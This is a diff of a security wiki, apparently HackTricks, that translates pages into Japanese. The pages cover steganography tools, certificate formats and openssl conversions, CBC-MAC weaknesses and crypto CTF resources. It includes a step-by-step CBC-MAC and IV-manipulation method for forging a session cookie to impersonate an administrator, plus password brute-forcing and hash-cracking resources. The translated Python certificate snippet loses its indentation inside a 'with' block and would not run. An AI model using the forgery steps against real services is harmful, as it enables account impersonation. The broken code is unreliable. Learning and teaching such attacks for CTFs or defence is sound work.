Stegcracker:** - -- To attempt password cracking on Steghide, use [stegcracker](https://github.com/Paradoxis/StegCracker.git) as follows: +**Stegcrackerによるブルートフォース攻撃:** +- Steghideのパスワードクラッキングを試みるには、[stegcracker](https://github.com/Paradoxis/StegCracker.git)を次のように使用します: ```bash stegcracker [] ``` - ### **zsteg for PNG and BMP Files** -zsteg specializes in uncovering hidden data in PNG and BMP files. Installation is done via `gem install zsteg`, with its [source on GitHub](https://github.com/zed-0xff/zsteg). +zstegはPNGおよびBMPファイル内の隠れたデータを発見することに特化しています。インストールは`gem install zsteg`で行い、[GitHubのソース](https://github.com/zed-0xff/zsteg)があります。 **Commands:** -- `zsteg -a file` applies all detection methods on a file. -- `zsteg -E file` specifies a payload for data extraction. +- `zsteg -a file`はファイルに対してすべての検出方法を適用します。 +- `zsteg -E file`はデータ抽出のためのペイロードを指定します。 ### **StegoVeritas and Stegsolve** -**stegoVeritas** checks metadata, performs image transformations, and applies LSB brute forcing among other features. Use `stegoveritas.py -h` for a full list of options and `stegoveritas.py stego.jpg` to execute all checks. +**stegoVeritas**はメタデータをチェックし、画像変換を行い、LSBブルートフォースなどの機能を適用します。オプションの完全なリストは`stegoveritas.py -h`を使用し、すべてのチェックを実行するには`stegoveritas.py stego.jpg`を使用します。 -**Stegsolve** applies various color filters to reveal hidden texts or messages within images. It's available on [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve). +**Stegsolve**はさまざまなカラーフィルターを適用して、画像内の隠れたテキストやメッセージを明らかにします。これは[GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve)で入手可能です。 ### **FFT for Hidden Content Detection** -Fast Fourier Transform (FFT) techniques can unveil concealed content in images. Useful resources include: +高速フーリエ変換(FFT)技術は、画像内の隠されたコンテンツを明らかにすることができます。役立つリソースには以下が含まれます: - [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/) - [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/) @@ -132,20 +114,18 @@ Fast Fourier Transform (FFT) techniques can unveil concealed content in images. ### **Stegpy for Audio and Image Files** -Stegpy allows embedding information into image and audio files, supporting formats like PNG, BMP, GIF, WebP, and WAV. It's available on [GitHub](https://github.com/dhsdshdhk/stegpy). +Stegpyは、PNG、BMP、GIF、WebP、WAVなどの形式をサポートし、画像および音声ファイルに情報を埋め込むことを可能にします。これは[GitHub](https://github.com/dhsdshdhk/stegpy)で入手可能です。 ### **Pngcheck for PNG File Analysis** -To analyze PNG files or to validate their authenticity, use: - +PNGファイルを分析したり、その真正性を検証するには、次のコマンドを使用します: ```bash apt-get install pngcheck pngcheck stego.png ``` +### **画像分析のための追加ツール** -### **Additional Tools for Image Analysis** - -For further exploration, consider visiting: +さらなる探索のために、以下を訪れることを検討してください: - [Magic Eye Solver](http://magiceye.ecksdee.co.uk/) - [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/) @@ -153,66 +133,60 @@ For further exploration, consider visiting: - [OpenStego](https://www.openstego.com/) - [DIIT](https://diit.sourceforge.net/) -## **Extracting Data from Audios** +## **オーディオからのデータ抽出** -**Audio steganography** offers a unique method to conceal information within sound files. Different tools are utilized for embedding or retrieving hidden content. +**オーディオステガノグラフィ**は、音声ファイル内に情報を隠す独自の方法を提供します。隠されたコンテンツを埋め込むまたは取得するために、さまざまなツールが利用されます。 ### **Steghide (JPEG, BMP, WAV, AU)** -Steghide is a versatile tool designed for hiding data in JPEG, BMP, WAV, and AU files. Detailed instructions are provided in the [stego tricks documentation](stego-tricks.md#steghide). +Steghideは、JPEG、BMP、WAV、およびAUファイルにデータを隠すために設計された多目的ツールです。詳細な手順は[stego tricks documentation](stego-tricks.md#steghide)に記載されています。 ### **Stegpy (PNG, BMP, GIF, WebP, WAV)** -This tool is compatible with a variety of formats including PNG, BMP, GIF, WebP, and WAV. For more information, refer to [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav). +このツールは、PNG、BMP、GIF、WebP、およびWAVを含むさまざまなフォーマットに対応しています。詳細については[Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav)を参照してください。 ### **ffmpeg** -ffmpeg is crucial for assessing the integrity of audio files, highlighting detailed information and pinpointing any discrepancies. - +ffmpegは、オーディオファイルの整合性を評価するために重要であり、詳細な情報を強調し、いかなる不一致を特定します。 ```bash ffmpeg -v info -i stego.mp3 -f null - ``` - ### **WavSteg (WAV)** -WavSteg excels in concealing and extracting data within WAV files using the least significant bit strategy. It is accessible on [GitHub](https://github.com/ragibson/Steganography#WavSteg). Commands include: - +WavStegは、最下位ビット戦略を使用してWAVファイル内にデータを隠蔽および抽出するのに優れています。これは[GitHub](https://github.com/ragibson/Steganography#WavSteg)で入手可能です。コマンドには次が含まれます: ```bash python3 WavSteg.py -r -b 1 -s soundfile -o outputfile python3 WavSteg.py -r -b 2 -s soundfile -o outputfile ``` - ### **Deepsound** -Deepsound allows for the encryption and detection of information within sound files using AES-256. It can be downloaded from [the official page](http://jpinsoft.net/deepsound/download.aspx). +Deepsoundは、AES-256を使用して音声ファイル内の情報を暗号化および検出することを可能にします。 [公式ページ](http://jpinsoft.net/deepsound/download.aspx)からダウンロードできます。 ### **Sonic Visualizer** -An invaluable tool for visual and analytical inspection of audio files, Sonic Visualizer can unveil hidden elements undetectable by other means. Visit the [official website](https://www.sonicvisualiser.org/) for more. +音声ファイルの視覚的および分析的検査において非常に貴重なツールであるSonic Visualizerは、他の手段では検出できない隠れた要素を明らかにすることができます。 詳細は[公式ウェブサイト](https://www.sonicvisualiser.org/)をご覧ください。 ### **DTMF Tones - Dial Tones** -Detecting DTMF tones in audio files can be achieved through online tools such as [this DTMF detector](https://unframework.github.io/dtmf-detect/) and [DialABC](http://dialabc.com/sound/detect/index.html). +音声ファイル内のDTMFトーンを検出するには、[このDTMF検出器](https://unframework.github.io/dtmf-detect/)や[DialABC](http://dialabc.com/sound/detect/index.html)などのオンラインツールを使用できます。 ## **Other Techniques** ### **Binary Length SQRT - QR Code** -Binary data that squares to a whole number might represent a QR code. Use this snippet to check: - +整数に平方するバイナリデータはQRコードを表す可能性があります。これをチェックするには、このスニペットを使用してください: ```python import math math.sqrt(2500) #50 ``` +バイナリから画像への変換については、[dcode](https://www.dcode.fr/binary-image)を確認してください。QRコードを読むには、[このオンラインバーコードリーダー](https://online-barcode-reader.inliteresearch.com/)を使用してください。 -For binary to image conversion, check [dcode](https://www.dcode.fr/binary-image). To read QR codes, use [this online barcode reader](https://online-barcode-reader.inliteresearch.com/). +### **点字翻訳** -### **Braille Translation** +点字の翻訳には、[Branah Braille Translator](https://www.branah.com/braille-translator)が優れたリソースです。 -For translating Braille, the [Branah Braille Translator](https://www.branah.com/braille-translator) is an excellent resource. - -## **References** +## **参考文献** - [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/) - [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit) diff --git a/src/cryptography/certificates.md b/src/cryptography/certificates.md index 622b48c61..9312c0e52 100644 --- a/src/cryptography/certificates.md +++ b/src/cryptography/certificates.md @@ -1,47 +1,38 @@ -# Certificates +# 証明書 {{#include ../banners/hacktricks-training.md}} -
+## 証明書とは -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +**公開鍵証明書**は、暗号学で誰かが公開鍵を所有していることを証明するために使用されるデジタルIDです。これには鍵の詳細、所有者の身元(サブジェクト)、および信頼できる機関(発行者)からのデジタル署名が含まれます。ソフトウェアが発行者を信頼し、署名が有効であれば、鍵の所有者との安全な通信が可能です。 -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +証明書は主に[証明書機関](https://en.wikipedia.org/wiki/Certificate_authority)(CA)によって[公開鍵基盤](https://en.wikipedia.org/wiki/Public-key_infrastructure)(PKI)設定で発行されます。別の方法は[信頼のウェブ](https://en.wikipedia.org/wiki/Web_of_trust)で、ユーザーが直接お互いの鍵を検証します。証明書の一般的な形式は[X.509](https://en.wikipedia.org/wiki/X.509)で、RFC 5280に記載されている特定のニーズに合わせて適応できます。 -## What is a Certificate +## x509の一般的なフィールド -A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible. +### **x509証明書の一般的なフィールド** -Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each other’s keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280. +x509証明書には、証明書の有効性とセキュリティを確保するために重要な役割を果たすいくつかの**フィールド**があります。これらのフィールドの内訳は以下の通りです: -## x509 Common Fields +- **バージョン番号**はx509形式のバージョンを示します。 +- **シリアル番号**は、証明書機関(CA)のシステム内で証明書を一意に識別し、主に取り消し追跡のために使用されます。 +- **サブジェクト**フィールドは、証明書の所有者を表し、機械、個人、または組織である可能性があります。詳細な識別情報が含まれます: +- **共通名(CN)**:証明書でカバーされるドメイン。 +- **国(C)**、**地域(L)**、**州または省(ST、S、またはP)**、**組織(O)**、および**組織単位(OU)**は、地理的および組織的な詳細を提供します。 +- **識別名(DN)**は、完全なサブジェクト識別を encapsulates します。 +- **発行者**は、証明書を検証し署名した人を示し、CAのためのサブフィールドが含まれます。 +- **有効期間**は、**Not Before**および**Not After**のタイムスタンプで示され、証明書が特定の日付の前または後に使用されないことを保証します。 +- **公開鍵**セクションは、証明書のセキュリティにとって重要で、公開鍵のアルゴリズム、サイズ、およびその他の技術的詳細を指定します。 +- **x509v3拡張**は、証明書の機能を強化し、**鍵の使用**、**拡張鍵の使用**、**サブジェクト代替名**、および証明書の適用を微調整するためのその他のプロパティを指定します。 -### **Common Fields in x509 Certificates** - -In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields: - -- **Version Number** signifies the x509 format's version. -- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking. -- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as: - - **Common Name (CN)**: Domains covered by the certificate. - - **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details. - - **Distinguished Name (DN)** encapsulates the full subject identification. -- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA. -- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date. -- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key. -- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application. - -#### **Key Usage and Extensions** - -- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment. -- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication. -- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively. -- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys. -- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status. -- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate. +#### **鍵の使用と拡張** +- **鍵の使用**は、公開鍵の暗号学的アプリケーションを特定します。例えば、デジタル署名や鍵の暗号化などです。 +- **拡張鍵の使用**は、証明書の使用ケースをさらに絞り込みます。例えば、TLSサーバー認証のためです。 +- **サブジェクト代替名**および**基本制約**は、証明書でカバーされる追加のホスト名と、それがCAまたはエンドエンティティ証明書であるかどうかを定義します。 +- **サブジェクト鍵識別子**や**権限鍵識別子**のような識別子は、鍵の一意性と追跡可能性を保証します。 +- **権限情報アクセス**および**CRL配布ポイント**は、発行CAを検証し、証明書の取り消し状況を確認するためのパスを提供します。 +- **CTプレ証明書SCT**は、証明書に対する公的信頼にとって重要な透明性ログを提供します。 ```python # Example of accessing and using x509 certificate fields programmatically: from cryptography import x509 @@ -49,8 +40,8 @@ from cryptography.hazmat.backends import default_backend # Load an x509 certificate (assuming cert.pem is a certificate file) with open("cert.pem", "rb") as file: - cert_data = file.read() - certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) +cert_data = file.read() +certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) # Accessing fields serial_number = certificate.serial_number @@ -63,133 +54,104 @@ print(f"Issuer: {issuer}") print(f"Subject: {subject}") print(f"Public Key: {public_key}") ``` +### **OCSPとCRL配布ポイントの違い** -### **Difference between OCSP and CRL Distribution Points** +**OCSP** (**RFC 2560**) は、クライアントとレスポンダーが協力してデジタル公開鍵証明書が取り消されたかどうかを確認する方法で、完全な**CRL**をダウンロードする必要がありません。この方法は、取り消された証明書のシリアル番号のリストを提供する従来の**CRL**よりも効率的であり、潜在的に大きなファイルをダウンロードする必要があります。CRLには最大512エントリが含まれることがあります。詳細は[こちら](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm)で確認できます。 -**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm). +### **証明書の透明性とは** -### **What is Certificate Transparency** +証明書の透明性は、SSL証明書の発行と存在がドメイン所有者、CA、およびユーザーに見えるようにすることで、証明書関連の脅威と戦うのに役立ちます。その目的は次のとおりです: -Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are: +- ドメイン所有者の知らないうちにCAがドメインのSSL証明書を発行するのを防ぐこと。 +- 誤ってまたは悪意を持って発行された証明書を追跡するためのオープンな監査システムを確立すること。 +- ユーザーを詐欺的な証明書から保護すること。 -- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge. -- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates. -- Safeguarding users against fraudulent certificates. +#### **証明書ログ** -#### **Certificate Logs** +証明書ログは、ネットワークサービスによって維持される公開監査可能な追加専用の証明書記録です。これらのログは監査目的のための暗号的証明を提供します。発行機関と一般の人々は、これらのログに証明書を提出したり、検証のために照会したりできます。ログサーバーの正確な数は固定されていませんが、世界中で千未満であると予想されています。これらのサーバーは、CA、ISP、または関心のある任意の団体によって独立して管理されることがあります。 -Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity. +#### **照会** -#### **Query** +任意のドメインの証明書透明性ログを探索するには、[https://crt.sh/](https://crt.sh)にアクセスしてください。 -To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh). +証明書を保存するためのさまざまな形式が存在し、それぞれに独自の使用ケースと互換性があります。この要約では、主要な形式をカバーし、それらの間の変換に関するガイダンスを提供します。 -Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them. +## **形式** -## **Formats** +### **PEM形式** -### **PEM Format** +- 証明書の最も広く使用されている形式。 +- 証明書と秘密鍵のために別々のファイルが必要で、Base64 ASCIIでエンコードされています。 +- 一般的な拡張子:.cer、.crt、.pem、.key。 +- 主にApacheや同様のサーバーで使用されます。 -- Most widely used format for certificates. -- Requires separate files for certificates and private keys, encoded in Base64 ASCII. -- Common extensions: .cer, .crt, .pem, .key. -- Primarily used by Apache and similar servers. +### **DER形式** -### **DER Format** +- 証明書のバイナリ形式。 +- PEMファイルに見られる「BEGIN/END CERTIFICATE」ステートメントがありません。 +- 一般的な拡張子:.cer、.der。 +- Javaプラットフォームでよく使用されます。 -- A binary format of certificates. -- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files. -- Common extensions: .cer, .der. -- Often used with Java platforms. +### **P7B/PKCS#7形式** -### **P7B/PKCS#7 Format** +- Base64 ASCIIで保存され、拡張子は.p7bまたは.p7cです。 +- 秘密鍵を除く証明書とチェーン証明書のみを含みます。 +- Microsoft WindowsおよびJava Tomcatでサポートされています。 -- Stored in Base64 ASCII, with extensions .p7b or .p7c. -- Contains only certificates and chain certificates, excluding the private key. -- Supported by Microsoft Windows and Java Tomcat. +### **PFX/P12/PKCS#12形式** -### **PFX/P12/PKCS#12 Format** +- サーバー証明書、中間証明書、および秘密鍵を1つのファイルにカプセル化するバイナリ形式。 +- 拡張子:.pfx、.p12。 +- 主にWindowsで証明書のインポートとエクスポートに使用されます。 -- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file. -- Extensions: .pfx, .p12. -- Mainly used on Windows for certificate import and export. +### **形式の変換** -### **Converting Formats** - -**PEM conversions** are essential for compatibility: - -- **x509 to PEM** +**PEM変換**は互換性のために重要です: +- **x509からPEMへ** ```bash openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem ``` - -- **PEM to DER** - +- **PEMからDERへ** ```bash openssl x509 -outform der -in certificatename.pem -out certificatename.der ``` - -- **DER to PEM** - +- **DERからPEMへ** ```bash openssl x509 -inform der -in certificatename.der -out certificatename.pem ``` - -- **PEM to P7B** - +- **PEM から P7B へ** ```bash openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer ``` - -- **PKCS7 to PEM** - +- **PKCS7をPEMに** ```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem ``` +**PFX 変換**は、Windows上での証明書管理において重要です: -**PFX conversions** are crucial for managing certificates on Windows: - -- **PFX to PEM** - +- **PFX から PEM** ```bash openssl pkcs12 -in certificatename.pfx -out certificatename.pem ``` - -- **PFX to PKCS#8** involves two steps: - 1. Convert PFX to PEM - +- **PFXからPKCS#8への変換**は2つのステップを含みます: +1. PFXをPEMに変換する ```bash openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem ``` - -2. Convert PEM to PKCS8 - +2. PEMをPKCS8に変換する ```bash openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 ``` - -- **P7B to PFX** also requires two commands: - 1. Convert P7B to CER - +- **P7B to PFX** には2つのコマンドが必要です: +1. P7BをCERに変換します ```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer ``` - -2. Convert CER and Private Key to PFX - +2. CERとプライベートキーをPFXに変換する ```bash openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer ``` - --- -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/cipher-block-chaining-cbc-mac-priv.md b/src/cryptography/cipher-block-chaining-cbc-mac-priv.md index 47f1b2713..fd10f2509 100644 --- a/src/cryptography/cipher-block-chaining-cbc-mac-priv.md +++ b/src/cryptography/cipher-block-chaining-cbc-mac-priv.md @@ -2,54 +2,54 @@ # CBC -If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie. +もし**クッキー**が**ユーザー名**だけ(またはクッキーの最初の部分がユーザー名である)で、ユーザー名「**admin**」を偽装したい場合、ユーザー名「**bdmin**」を作成し、クッキーの**最初のバイト**を**ブルートフォース**することができます。 # CBC-MAC -**Cipher block chaining message authentication code** (**CBC-MAC**) is a method used in cryptography. It works by taking a message and encrypting it block by block, where each block's encryption is linked to the one before it. This process creates a **chain of blocks**, making sure that changing even a single bit of the original message will lead to an unpredictable change in the last block of encrypted data. To make or reverse such a change, the encryption key is required, ensuring security. +**暗号ブロック連鎖メッセージ認証コード**(**CBC-MAC**)は、暗号学で使用される方法です。これは、メッセージをブロックごとに暗号化し、各ブロックの暗号化が前のブロックにリンクされることで機能します。このプロセスは**ブロックの連鎖**を作成し、元のメッセージのビットを1つ変更するだけでも、暗号化されたデータの最後のブロックに予測不可能な変化をもたらすことを保証します。このような変更を行うまたは逆にするためには、暗号化キーが必要であり、セキュリティが確保されます。 -To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) using a secret key k and a block cipher E: +メッセージmのCBC-MACを計算するには、ゼロ初期化ベクトルでCBCモードでmを暗号化し、最後のブロックを保持します。以下の図は、秘密鍵kとブロック暗号Eを使用して、ブロックからなるメッセージのCBC-MACの計算を概略しています![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) ![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png]() -# Vulnerability +# 脆弱性 -With CBC-MAC usually the **IV used is 0**.\ -This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So: +CBC-MACでは通常**使用されるIVは0**です。\ +これは問題です。なぜなら、2つの既知のメッセージ(`m1`と`m2`)が独立して2つの署名(`s1`と`s2`)を生成するからです。したがって: - `E(m1 XOR 0) = s1` - `E(m2 XOR 0) = s2` -Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32): +次に、m1とm2を連結したメッセージ(m3)は2つの署名(s31とs32)を生成します: - `E(m1 XOR 0) = s31 = s1` - `E(m2 XOR s1) = s32` -**Which is possible to calculate without knowing the key of the encryption.** +**これは暗号化のキーを知らなくても計算可能です。** -Imagine you are encrypting the name **Administrator** in **8bytes** blocks: +あなたが**Administrator**という名前を**8バイト**のブロックで暗号化していると想像してください: - `Administ` - `rator\00\00\00` -You can create a username called **Administ** (m1) and retrieve the signature (s1).\ -Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\ -now, you can use s32 as the signature of the full name **Administrator**. +あなたは「**Administ**」というユーザー名(m1)を作成し、署名(s1)を取得できます。\ +次に、`rator\00\00\00 XOR s1`の結果を持つユーザー名を作成できます。これにより、`E(m2 XOR s1 XOR 0)`がs32を生成します。\ +今、s32を**Administrator**のフルネームの署名として使用できます。 -### Summary +### まとめ -1. Get the signature of username **Administ** (m1) which is s1 -2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.** -3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**. +1. ユーザー名「**Administ**」(m1)の署名を取得し、それがs1です。 +2. ユーザー名「**rator\x00\x00\x00 XOR s1 XOR 0**」の署名はs32です。 +3. クッキーをs32に設定すると、ユーザー「**Administrator**」の有効なクッキーになります。 -# Attack Controlling IV +# IVの制御攻撃 -If you can control the used IV the attack could be very easy.\ -If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\ -Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**. +使用されるIVを制御できる場合、攻撃は非常に簡単になる可能性があります。\ +クッキーが単に暗号化されたユーザー名である場合、ユーザー「**administrator**」を偽装するために、ユーザー「**Administrator**」を作成し、そのクッキーを取得できます。\ +今、IVを制御できる場合、IVの最初のバイトを変更することができ、**IV\[0] XOR "A" == IV'\[0] XOR "a"**となり、ユーザー「**Administrator**」のクッキーを再生成できます。このクッキーは、初期**IV**を使用してユーザー「**administrator**」を**偽装**するのに有効です。 -## References +## 参考文献 -More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) +詳細は[https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)を参照してください。 {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/crypto-ctfs-tricks.md b/src/cryptography/crypto-ctfs-tricks.md index bb2b5f049..64c561434 100644 --- a/src/cryptography/crypto-ctfs-tricks.md +++ b/src/cryptography/crypto-ctfs-tricks.md @@ -4,7 +4,7 @@ ## Online Hashes DBs -- _**Google it**_ +- _**Googleで検索**_ - [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240) - [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) - [https://crackstation.net/](https://crackstation.net) @@ -25,7 +25,7 @@ ## Encoders -Most of encoded data can be decoded with these 2 ressources: +ほとんどのエンコードされたデータは、これらの2つのリソースでデコードできます: - [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list) - [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) @@ -33,7 +33,7 @@ Most of encoded data can be decoded with these 2 ressources: ### Substitution Autosolvers - [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram) -- [https://quipqiup.com/](https://quipqiup.com) - Very good ! +- [https://quipqiup.com/](https://quipqiup.com) - とても良い! #### Caesar - ROTx Autosolvers @@ -45,95 +45,90 @@ Most of encoded data can be decoded with these 2 ressources: ### Base Encodings Autosolver -Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) +これらのすべてのベースを確認してください: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) - **Ascii85** - - `BQ%]q@psCd@rH0l` +- `BQ%]q@psCd@rH0l` - **Base26** \[_A-Z_] - - `BQEKGAHRJKHQMVZGKUXNT` +- `BQEKGAHRJKHQMVZGKUXNT` - **Base32** \[_A-Z2-7=_] - - `NBXWYYLDMFZGCY3PNRQQ====` +- `NBXWYYLDMFZGCY3PNRQQ====` - **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_] - - `pbzsaamdcf3gna5xptoo====` +- `pbzsaamdcf3gna5xptoo====` - **Base32 Geohash** \[_0-9b-hjkmnp-z_] - - `e1rqssc3d5t62svgejhh====` +- `e1rqssc3d5t62svgejhh====` - **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_] - - `D1QPRRB3C5S62RVFDHGG====` +- `D1QPRRB3C5S62RVFDHGG====` - **Base32 Extended Hexadecimal** \[_0-9A-V_] - - `D1NMOOB3C5P62ORFDHGG====` +- `D1NMOOB3C5P62ORFDHGG====` - **Base45** \[_0-9A-Z $%\*+-./:_] - - `59DPVDGPCVKEUPCPVD` +- `59DPVDGPCVKEUPCPVD` - **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_] - - `2yJiRg5BF9gmsU6AC` +- `2yJiRg5BF9gmsU6AC` - **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_] - - `2YiHqF5bf9FLSt6ac` +- `2YiHqF5bf9FLSt6ac` - **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_] - - `pyJ5RgnBE9gm17awU` +- `pyJ5RgnBE9gm17awU` - **Base62** \[_0-9A-Za-z_] - - `g2AextRZpBKRBzQ9` +- `g2AextRZpBKRBzQ9` - **Base64** \[_A-Za-z0-9+/=_] - - `aG9sYWNhcmFjb2xh` +- `aG9sYWNhcmFjb2xh` - **Base67** \[_A-Za-z0-9-_.!\~\_] - - `NI9JKX0cSUdqhr!p` +- `NI9JKX0cSUdqhr!p` - **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `BQ%]q@psCd@rH0l` +- `BQ%]q@psCd@rH0l` - **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `<~BQ%]q@psCd@rH0l~>` +- `<~BQ%]q@psCd@rH0l~>` - **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_] - - `Xm4y`V\_|Y(V{dF>\` +- `Xm4y`V\_|Y(V{dF>\` - **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` +- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` - **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_] - - `Xm4y|V{~Y+V}dF?` +- `Xm4y|V{~Y+V}dF?` - **Base91** 